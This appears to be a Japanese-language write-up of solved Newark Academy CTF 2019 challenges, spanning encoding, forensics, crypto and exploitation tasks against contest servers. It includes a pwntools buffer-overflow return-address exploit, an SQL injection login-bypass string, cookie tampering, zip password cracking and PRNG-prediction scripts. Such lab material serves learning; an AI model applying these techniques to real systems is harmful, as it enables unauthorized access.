Newark Academy CTF 2019 Writeup

この大会は2019/9/18 7:00(JST)~2019/9/23 7:00(JST)に開催されました。
今回は個人で参戦。結果は4485点で1335チーム中118位でした。
解けた問題をWriteupとして書いておきます。

Intro to Flags (General Skills 10)

問題にフラグが書いてあった。

nactf{w3lc0m3_t0_th3_m4tr1x}

Join the Discord (General Skills 25)

Discordに入ると、#welcomeチャネルのメッセージにフラグが書いてあった。

nactf{g00d_luck_h4v3_fun}

What the HEX? (General Skills 25)

16進数でASCIIコードが並んでいるので、デコードする。

>>> '49 20 77 61 73 2e 20 53 6f 72 72 79 20 74 6f 20 68 61 76 65 20 6d 69 73 73 65 64 20 79 6f 75 2e'.replace(' ', '').decode('hex')
'I was. Sorry to have missed you.'
I was. Sorry to have missed you.

Off-base (General Skills 25)

Base64文字列が問題になっている。

>>> 'bmFjdGZ7YV9jaDRuZzNfMGZfYmE1ZX0='.decode('base64')
'nactf{a_ch4ng3_0f_ba5e}'
nactf{a_ch4ng3_0f_ba5e}

Cat over the wire (General Skills 50)

ncコマンドで接続するだけ。

$ nc shell.2019.nactf.com 31242
nactf{th3_c4ts_0ut_0f_th3_b4g}
nactf{th3_c4ts_0ut_0f_th3_b4g}

Grace's HashBrowns (General Skills 50)

問題は次のmd5の元の文字列を答えるというもの。

f5525fc4fc5fdd42a7cf4f65dc27571c

https://md5.gromweb.com/md5のクラックをする。

grak
nactf{grak}

Cellular Evolution #0: Bellsprout (General Skills 75)

指定通り実行し、出力する。白を0、黒を1として、デコードする。

with open('outpattern.txt', 'r') as f:
    data = f.read().rstrip()

data = '0' + data.replace(' ', '').replace('.', '0')

flag = ''
for i in range(0, len(data), 8):
    code = int(data[i:i+8], 2)
    flag += chr(code)

print flag
hlacks
nactf{hlacks}

Get a GREP #0! (General Skills 100)

たくさんのファイルからフラグを探す。

$ grep nactf -rl bigtree
bigtree/branch8/branch3/branch5/leaf8351.txt
$ cat bigtree/branch8/branch3/branch5/leaf8351.txt
nactf{v1kram_and_h1s_10000_l3av3s}
nactf{v1kram_and_h1s_10000_l3av3s}

Hwang's Hidden Handiwork (General Skills 100)

substitution.csvに従い、平文に復号してみるとURLになった。

https://lh3.googleusercontent.com/vdx0x3krzzyWWSy4ahxBiWJGdIQR9j0W_tQL_ISoorqnAcIKCIu0Czw-ZbjTZ8eAjlwfLC4Dm6QnSPjx5w=w50-h10-rw

アクセスすると画像があるが、小さくて見にくい。
f:id:satou-y:20190930205535j:plain
パラメータらしき"w50-h10"の部分を調整して大きくする。

https://lh3.googleusercontent.com/vdx0x3krzzyWWSy4ahxBiWJGdIQR9j0W_tQL_ISoorqnAcIKCIu0Czw-ZbjTZ8eAjlwfLC4Dm6QnSPjx5w=w250-h50-rw

f:id:satou-y:20190930205756j:plain
今度ははっきりフラグがわかる。

nactf{g00gl3_15nt_s3cur3_3n0ugh}

Cellular Evolution #1: Weepinbell (General Skills 125)

指示されていることをプログラムにする。

NW == 4 : 3
NE == 3 : 4
SW == 1 : 2
SE == 2 : 1
C == 5 : 5

20step後、フラグになる。
f:id:satou-y:20190930210035p:plain

nactf{ib_bio_ftw}

Get a GREP #1! (General Skills 125)

1つのファイルにフラグ形式となっている文字列が100000行ある。正解のフラグは{}の中の末尾7文字が母音で構成されているということらしい。正規表現を使って検索する。

$ grep -P "nactf\{.+[aiueo]{7}\}" flag.txt
nactf{r3gul4r_3xpr3ss10ns_ar3_m0r3_th4n_r3gul4r_euaiooa}
nactf{r3gul4r_3xpr3ss10ns_ar3_m0r3_th4n_r3gul4r_euaiooa}

Cellular Evolution #2: VikTreebel (General Skills 150)

周囲8マスの合計がわかっているので、手動で元に戻していく。
f:id:satou-y:20190930210953p:plain

nactf{conwayblco}

BufferOverflow #0 (Binary Exploitation 100)

セグメンテーション違反を起こせば、フラグが得られる。バッファを超えて十分に長い文字列を入力すればよい。

$ nc shell.2019.nactf.com 31475
Type something>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
You win!
flag: nactf{0v3rfl0w_th4at_buff3r_18ghKusB}
nactf{0v3rfl0w_th4at_buff3r_18ghKusB}

BufferOverflow #1 (Binary Exploitation 200)

gets関数で入力をバッファに格納するがオーバーフローの脆弱性がある。この状況でそのままではコールされないwin関数をコールできれば、フラグが得られる。

$ gdb -q bufover-1
Reading symbols from bufover-1...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/bufover-1 
Type something>AAAAAAAAAAAAAAAAAAAA
You typed AAAAAAAAAAAAAAAAAAAA!
[Inferior 1 (process 39749) exited normally]
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/bufover-1 
Type something>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x2a (b'*')
EBX: 0x0 
ECX: 0xffffffff 
EDX: 0xf7fb8870 --> 0x0 
ESI: 0xf7fb7000 --> 0x1afdb0 
EDI: 0xf7fb7000 --> 0x1afdb0 
EBP: 0x41414141 (b'AAAA')
ESP: 0xffffce10 --> 0xf7fb73dc --> 0xf7fb81e0 --> 0x0 
EIP: 0x8004141
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x8004141
[------------------------------------stack-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x08004141 in ?? ()

29-32バイトが変わる。

gdb-peda$ p &win
$1 = (<text variable, no debug info> *) 0x80491b2 <win>

'A' * 28 + '\xb2\x91\x04\x08'を送り込めばよい。

from pwn import *

p = remote('shell.2019.nactf.com', 31462)

payload = 'A' * 28 + '\xb2\x91\x04\x08'
ret = p.recvuntil('>')
print ret + payload
p.sendline(payload)
ret = p.recvline()
print ret
ret = p.recvline()
print ret
ret = p.recvline()
print ret

実行結果は以下の通り。

[+] Opening connection to shell.2019.nactf.com on port 31462: Done
Type something>AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb2\x91\x04
You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb2\x91\x04!

You win!

flag: nactf{pwn_31p_0n_r3t_iNylg281}

[*] Closed connection to shell.2019.nactf.com port 31462
nactf{pwn_31p_0n_r3t_iNylg281}

Pink Panther (Web Exploitation 50)

HTMLソースのコメントにフラグが含まれている。

<!--Your flag is nactf{1nsp3ct_b3tter_7han_c10us3au}-->
nactf{1nsp3ct_b3tter_7han_c10us3au}

Scooby Doo (Web Exploitation 100)

フラグが部分的にしかはっきり見えない。
f:id:satou-y:20190930211959p:plain
Chromeデベロッパーツールですべてのopacityを1に設定するとフラグが表示された。
f:id:satou-y:20190930212017p:plain

nactf{ult1m4T3_sh4ggY}

Dexter's Lab (Web Exploitation 125)

よくあるログイン画面。以下の通り入力して、送信してみる。

Username: ' or 1=1 #
Password: a

ログインできて、フラグが表示された。

nactf{1nj3c7ion5_ar3_saf3_in_th3_l4b}

Sesame Street (Web Exploitation 150)

ページの内容を読むと、大会終了後にフラグが得られるとのことらしい。
クッキーのsession-timeにUNIX時間が書かれている。これを大会終了後の時刻(1569189600)に設定して、http://sesamestreet.web.2019.nactf.com/flag.phpにアクセスしてみると、フラグが表示された。

nactf{c000000000ki3s}

Least Significant Avenger (Forensics 50)

Stegsolveで開き、[Data Extract]でRGBのLSBだけチェックを入れると、フラグ文字列が表示された。

nactf{h4wk3y3_15_th3_l34st_51gn1f1c4nt_b1t}

The MetaMeme (Forensics 75)

$ cat metametametameta.pdf | strings | grep nactf
/Subject (nactf{d4mn_th15_1s_s0_m3t4})
nactf{d4mn_th15_1s_s0_m3t4}

My Ears Hurt (Forensics 75)

Audacityで開く。スペクトグラムを見る。
f:id:satou-y:20190930213036p:plain
モールス信号に見える。

-.. .---- -.. ..- -.. ----- - .... .---- ..... -... -.-- .... ....- -. -..
D1DUD0TH15BYH4ND
nactf{d1dud0th15byh4nd}

Unzip Me (Forensics 150)

パスワード付きzipファイルが3つ添付されている。それぞれパスワードクラックする。

$ fcrackzip -u -D -p dict/rockyou.txt zip1.zip 


PASSWORD FOUND!!!!: pw == dictionary
$ unzip zip1.zip 
Archive:  zip1.zip
[zip1.zip] zip1.rtf password: 
  inflating: zip1.rtf

rtfファイルが展開され、"nactf{w0w"と書いてある。

$ fcrackzip -u -D -p dict/rockyou.txt zip2.zip


PASSWORD FOUND!!!!: pw == rock
$ unzip zip2.zip 
Archive:  zip2.zip
[zip2.zip] zip2.rtf password: 
  inflating: zip2.rtf

rtfファイルが展開され、"_y0u_unz1pp"と書いてある。

$ fcrackzip -u -D -p dict/rockyou.txt zip3.zip


PASSWORD FOUND!!!!: pw == dog
$ unzip zip3.zip 
Archive:  zip3.zip
[zip3.zip] zip3.rtf password: 
  inflating: zip3.rtf

rtfファイルが展開され、"3d_m3}"と書いてある。
全部結合すると、フラグになる。

nactf{w0w_y0u_unz1pp3d_m3}

Kellen's Broken File (Forensics 150)

PDFファイルのヘッダが壊れている。"%PDF-"が先頭にないので、追加して、開いてみると、フラグが書いてあった。

nactf{kn0w_y0ur_f1l3_h34d3rsjeklwf}

Kellen's PDF sandwich (Forensics 150)

$ binwalk MeltedFile.pdf 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PDF document, version: "1.3"
220           0xDC            PDF document, version: "1.3"

外側と内側あるPDFを切り出すと、それぞれフラグの一部が書いてある。

外側:nactf{w3_l0v3_w0rld
内側:_0f_t4nk5ejwjfae}
nactf{w3_l0v3_w0rld_0f_t4nk5ejwjfae}

Filesystem Image (Forensics 200)

flag.txtのパスがフラグ。isoを解凍して、flag.txtを検索する。

$ find img/ -name flag.txt
img/lq/wk/zo/py/hu/flag.txt
nactf{lqwkzopyhu}

Phuzzy Photo (Forensics 250)

縦横6ピクセルごとに取り出すと、フラグ画像になる。
f:id:satou-y:20190930213758p:plain

nactf{fu22y_b0y5_un1t3}

File recovery (Forensics 300)

$ foremost img.iso
Processing: img.iso
|*|

PNGファイルが抽出でき、フラグが書いてあった。
f:id:satou-y:20190930213925p:plain

nactf{f1l3_r3c0v3ry_15_c0ol}

Vyom's Soggy Croutons (Cryptography 50)

シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 17:
nactf{et_tu_brute}
nactf{et_tu_brute}

Loony Tunes (Cryptography 50)

Pigpen cipher。https://en.wikipedia.org/wiki/Pigpen_cipherを参考にアルファベットに変換していく。

nactf{th_th_th_thats_all_folks}

Dr. J's Group Test Randomizer: Board Problem #0 (Cryptography 100)

$ nc shell.2019.nactf.com 31425

Welcome to Dr. J's Random Number Generator v1! 
[r] Print a new random number 
[g] Guess the next two random numbers and receive the flag! 
[q] Quit 

> r
5442826613515225
> g

Guess the next two random numbers for a flag! You have a 0.0000000000000000000000000000001% chance of guessing both correctly... Good luck!
Enter your first guess:
> 123
That's incorrect. Get out of here!

サーバ処理の概要は以下の通り。

■r
nextRand()表示

■g
・ランダム値予測
 OK→ランダム値予測
   OK→フラグ表示
■q
抜ける

r実行でseedがわかる。次のseedは以下の計算で算出できる。

seed = getDigits(seed, 5, 12)
seed *= seed

g実行の1回目でそれを指定し、2回目も同様に指定すれば、フラグが得られる。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def getDigits(number, start, end):
    return (number % pow(10, end)) / pow(10, start - 1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('shell.2019.nactf.com', 31425))

data = recvuntil(s, '> ')
print data + 'r'
s.sendall('r\n')
seed = recvuntil(s, '\n').rstrip()
print seed

seed = getDigits(int(seed), 5, 12)
seed *= seed

data = recvuntil(s, '> ')
print data + 'g'
s.sendall('g\n')
data = recvuntil(s, '> ')
print data + str(seed)
s.sendall(str(seed) + '\n')

seed = getDigits(int(seed), 5, 12)
seed *= seed

data = recvuntil(s, '> ')
print data + str(seed)
s.sendall(str(seed) + '\n')
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Welcome to Dr. J's Random Number Generator v1!
[r] Print a new random number
[g] Guess the next two random numbers and receive the flag!
[q] Quit

> r
16998263181025
> g

Guess the next two random numbers for a flag! You have a 0.0000000000000000000000000000001% chance of guessing both correctly... Good luck!
Enter your first guess:
> 9965293765437124

Wow, lucky guess... You won't be able to guess right a second time.
Enter your second guess:
> 862981278630849

What? You must have psychic powers... Well here's your flag: nactf{1_l0v3_chunky_7urn1p5}
nactf{1_l0v3_chunky_7urn1p5}

Reversible Sneaky Algorithm #0 (Cryptography 125)

dがわかっているので、そのまま復号する。

from Crypto.Util.number import *

n = 140971369982728290584003929856637011308685429687969594429997821710108459830116393789723684079062708514036299475509430542212659734507429142853158004794834935174746493412962154796160975546005828130717579132438781804174244070129160649779404165370266408790722528108474736698480388956217393838955462967989235557729
d = 3210396717872682205420233842120187670754123682946955455494937957220148561826887372494355836977601850209792589944578254791223196877372140862540829182847721214418314564429696694983379689813325142035328881707722441498876726169675843996078221651180111278667814216844121752144791638682520989591783787929482763483
c = 7597447581111665937753781070914281099248138767561231457808924842755340796976767584904483452403406793827996034815852778012984740739361969304711271790657255334745163889379518040725967970769121270606356380463906882556650693485795903105298437519246733021136433493998710761239540681944709850299154477898517149127

m = pow(c, d, n)
flag = long_to_bytes(m)
print flag
nactf{w3lc0me_t0_numb3r_th30ry}

Super Duper AES (Cryptography 250)

各関数で逆算して復号する。

from binascii import hexlify, unhexlify

def substitute(hexBlock):
    substitutedHexBlock = ""
    substitution =  [8, 4, 15, 9, 3, 14, 6, 2, 
                    13, 1, 7, 5, 12, 10, 11, 0]
    for hexDigit in hexBlock:
        newDigit = substitution[int(hexDigit, 16)]
        substitutedHexBlock += hex(newDigit)[2:]
    return substitutedHexBlock

def pad(message):
    numBytes = 4-(len(message)%4)
    return message + numBytes * chr(numBytes)

def hexpad(hexBlock):
    numZeros = 8 - len(hexBlock)
    return numZeros*"0" + hexBlock

def permute(hexBlock):
    permutation =   [6, 22, 30, 18, 29, 4, 23, 19, 
                    15, 1, 31, 11, 28, 14, 25, 2, 
                    27, 12, 21, 26, 10, 16, 0, 24,
                     7, 5, 3, 20, 13, 9, 17, 8]
    block = int(hexBlock, 16)
    permutedBlock = 0
    for i in range(32):
        bit = (block & (1 << i)) >> i
        permutedBlock |= bit << permutation[i]
    return hexpad(hex(permutedBlock)[2:].rstrip('L'))

def round(hexMessage):
    numBlocks = len(hexMessage)//8
    substitutedHexMessage = ""
    for i in range(numBlocks):
        substitutedHexMessage += substitute(hexMessage[8*i:8*i+8])
    permutedHexMessage = ""
    for i in range(numBlocks):
        permutedHexMessage += permute(substitutedHexMessage[8*i:8*i+8])
    return permutedHexMessage

def inv_substitute(hexBlock):
    block = ''
    substitution =  [8, 4, 15, 9, 3, 14, 6, 2, 
                    13, 1, 7, 5, 12, 10, 11, 0]
    for hexDigit in hexBlock:
        oldDigit = substitution.index(int(hexDigit, 16))
        block += hex(oldDigit)[2:]
    return block

def inv_permute(hexBlock):
    permutation =   [6, 22, 30, 18, 29, 4, 23, 19, 
                    15, 1, 31, 11, 28, 14, 25, 2, 
                    27, 12, 21, 26, 10, 16, 0, 24,
                     7, 5, 3, 20, 13, 9, 17, 8]
    permutedBlock = int(hexBlock, 16)
    block = 0
    for i in range(32):
        bit = (permutedBlock & (1 << permutation[i])) >> permutation[i]
        block |= bit << i
    return hexpad(hex(block)[2:].rstrip('L'))

def inv_round(hexMessage):
    numBlocks = len(hexMessage)//8
    substitutedHexMessage = ''
    for i in range(numBlocks):
        substitutedHexMessage += inv_permute(hexMessage[8*i:8*i+8])
    initHexMessage = ''
    for i in range(numBlocks):
        initHexMessage += inv_substitute(substitutedHexMessage[8*i:8*i+8])
    return initHexMessage

def unpad(message):
    return message[:-ord(message[-1])]

hexMessage = 'd59fd3f37182486a44231de4713131d20324fbfe80e91ae48658ba707cb84841972305fc3e0111c753733cf2'

for i in range(10000):
    hexMessage = inv_round(hexMessage)

flag = unpad(unhexlify(hexMessage))
print flag
nactf{5ub5t1tut10n_p3rmutat10n_n33d5_a_k3y}

Reversible Sneaky Algorithm #1 (Cryptography 275)

平文の不明な文字は4バイトで英小文字のため、ブルートフォースする。

import itertools
import string
from Crypto.Util.number import *

n = 22211149480575639993429030519324903433947913532364781040868963328192510711356813047019777682976897694523708823502748768149007288902843985412808705624398873301639600888468250478096471710461804856036409585519537946352413960371213677893523940481424813184421465313214067723492301317054407961642320909213358344993453825109139928083868146685834149311590508677641684185974469669019522897333475910002506624356655715375691861599282035176111228787146595035293770294934083506588432931535561733381730924617763450268288785249430304809062568532772866407535937947253602671915278827388538023000320823892308918791287865032550658101647
e = 65537
c = 17092019895398435490936645877681389522100314381280314137324590582626113380519883878346612680436149571504342956062627199254592419000136198748264157134720216337534802137245374257104787163473593768075381161119603573787923015405105192411372689756878820005036480013443173993126005361536816259899310244534769833694660355126920566669139672444357708161337389888825104348833002955918763849005061351140425567156148202269336347554989169075541289307981444741551677799416273481457219933391047628725337828725080079301570909831609401028488393457876225318163558871115320155827798534306397644894097358075465535794590825299057956641732

for elms in itertools.product(string.lowercase, repeat=4):
    flag = 'nactf{%s}' % ''.join(elms)
    m = bytes_to_long(flag)
    if pow(m, e, n) == c:
        print flag
        break
nactf{pkcs}

Dr. J's Group Test Randomizer: Board Problem #1 (Cryptography 300)

$ nc shell.2019.nactf.com 31258

Welcome to Dr. J's Random Number Generator v2! A vulnerability involving predictability of outputs has been patched. 
[r] Print a new random number 
[g] Guess the next four random numbers and receive the flag! 
[q] Quit 

> r
218
> g

Guess the next four random numbers for a flag! Dr. Strange sees fourteen million six hundred and five possibilies... and you only guess correctly in one. Good luck!
Enter your first guess:
> 123
That's incorrect. Get out of here!

サーバ処理の概要は以下の通り。

■r
nextRand()表示

■g
・ランダム値予測を4回繰り返す
 全部OK→フラグ表示

■q
抜ける

r実行でseedの一部がわかる。推測の範囲を少しずつ狭くする。3回行うと1つに絞れる。

seed = getDigits(seed, 5, 12)
seed *= seed
return getDigits(seed, 13, 16)

g実行で4回正解できれば、フラグが得られる。

import socket
import math

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def getDigits(number, start, end):
    return (number % pow(10, end)) / pow(10, start - 1)

NUM_CORRECT = 4

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('shell.2019.nactf.com', 31258))

numbers = []
for i in range(3):
    data = recvuntil(s, '> ')
    print data + 'r'
    s.sendall('r\n')
    number = int(recvuntil(s, '\n').rstrip())
    print number
    numbers.append(number)

min = int(math.sqrt(numbers[0] * pow(10, 12)))
max = int(math.sqrt((numbers[0] + 1) * pow(10, 12)))

seeds = []
for n in range(min, max):
    seed = n * n
    seed = getDigits(seed, 5, 12)
    seed *= seed
    if getDigits(seed, 13, 16) == numbers[1]:
        seeds.append(seed)

for seed in seeds:
    seed = getDigits(seed, 5, 12)
    seed *= seed
    if getDigits(seed, 13, 16) == numbers[2]:
        break

data = recvuntil(s, '> ')
print data + 'g'
s.sendall('g\n')

for i in range(NUM_CORRECT):
    seed = getDigits(seed, 5, 12)
    seed *= seed
    guess = getDigits(seed, 13, 16)

    data = recvuntil(s, '\n')
    print data
    data = recvuntil(s, '> ')
    print data + str(guess)
    s.sendall(str(guess) + '\n')

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Welcome to Dr. J's Random Number Generator v2! A vulnerability involving predictability of outputs has been patched.
[r] Print a new random number
[g] Guess the next four random numbers and receive the flag!
[q] Quit

> r
4229
> r
624
> r
847
> g


Guess the next four random numbers for a flag! Dr. Strange sees fourteen million six hundred and five possibilies... and you only guess correctly in one. Good luck!
Enter your first guess:
> 116


Yeah, yeah, one correct guess is easy.
Enter your second guess:
> 11


Okay, you're lucky... You won't be able to guess right a third time.
Enter your third guess:
> 4608


Wow. I'll admit I'm impressed. This is the final test.
Enter your fourth guess:
> 270

Oh no... we're in the endgame now... Here's your flag:
nactf{th3_b35t_pr3d1ct0r_0f_fu7ur3_b3h4v10r_15_p4st_b3h4v10r}
nactf{th3_b35t_pr3d1ct0r_0f_fu7ur3_b3h4v10r_15_p4st_b3h4v10r}

Reversible Sneaky Algorithm #2 (Cryptography 350)

pow(a, r, n) = 1

この式について調べると、Shorのアルゴリズムという素因数分解アルゴリズムがあるらしい。

http://www.kurims.kyoto-u.ac.jp/~kyodo/kokyuroku/contents/pdf/1452-24.pdf

これを使うと素因数分解でき、あとはそのまま復号する。

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Util.number import *

with open('oligarchy.pem', 'r') as f:
    pubkey = f.read()

pub = RSA.importKey(pubkey)
e = pub.e
n = pub.n

a = 84733215803103612460901465701232424798609470209825913961212238457798293111098195061837071495218083197429913141798442522950831495758395873695688189182925448736211066067276791533151828542439575601763801135131479532656528730453020404557236783254278625529895480234633323403399468237577058553920576024305830379725
r = 21700996784810065805847020455080940987640304282783092123992896363328128691169420271855815648912121417792054646557156071514079520782530801688062034321252682229729442734741486715339008457753023855600772948737800521010217600436912058582658334252483984244806083617513596479033871117464319239681526924092910597300
c = 85407181759755287105309527383534372436668736072315927293076398182206068631971587183149437554341349819060482477969350837066653250734556920049021810122548703168301872412719117857995283679569989680329696657609285728934732302846152702363240223251805773071022405764521081142920227557091217872210813095318042763847

assert pow(a, r, n) == 1
assert r % 2 == 0

p = GCD(pow(a, r/2, n) + 1, n)
q = GCD(pow(a, r/2, n) - 1, n)

assert p * q == n

phi = (p - 1) * (q - 1)
d = inverse(e, phi)

key = RSA.construct(map(long, (n,e,d)))
cipher = PKCS1_OAEP.new(key)
flag = cipher.decrypt(long_to_bytes(c))
print flag
nactf{d0wn_wi7h_7h3_0lig4rchy}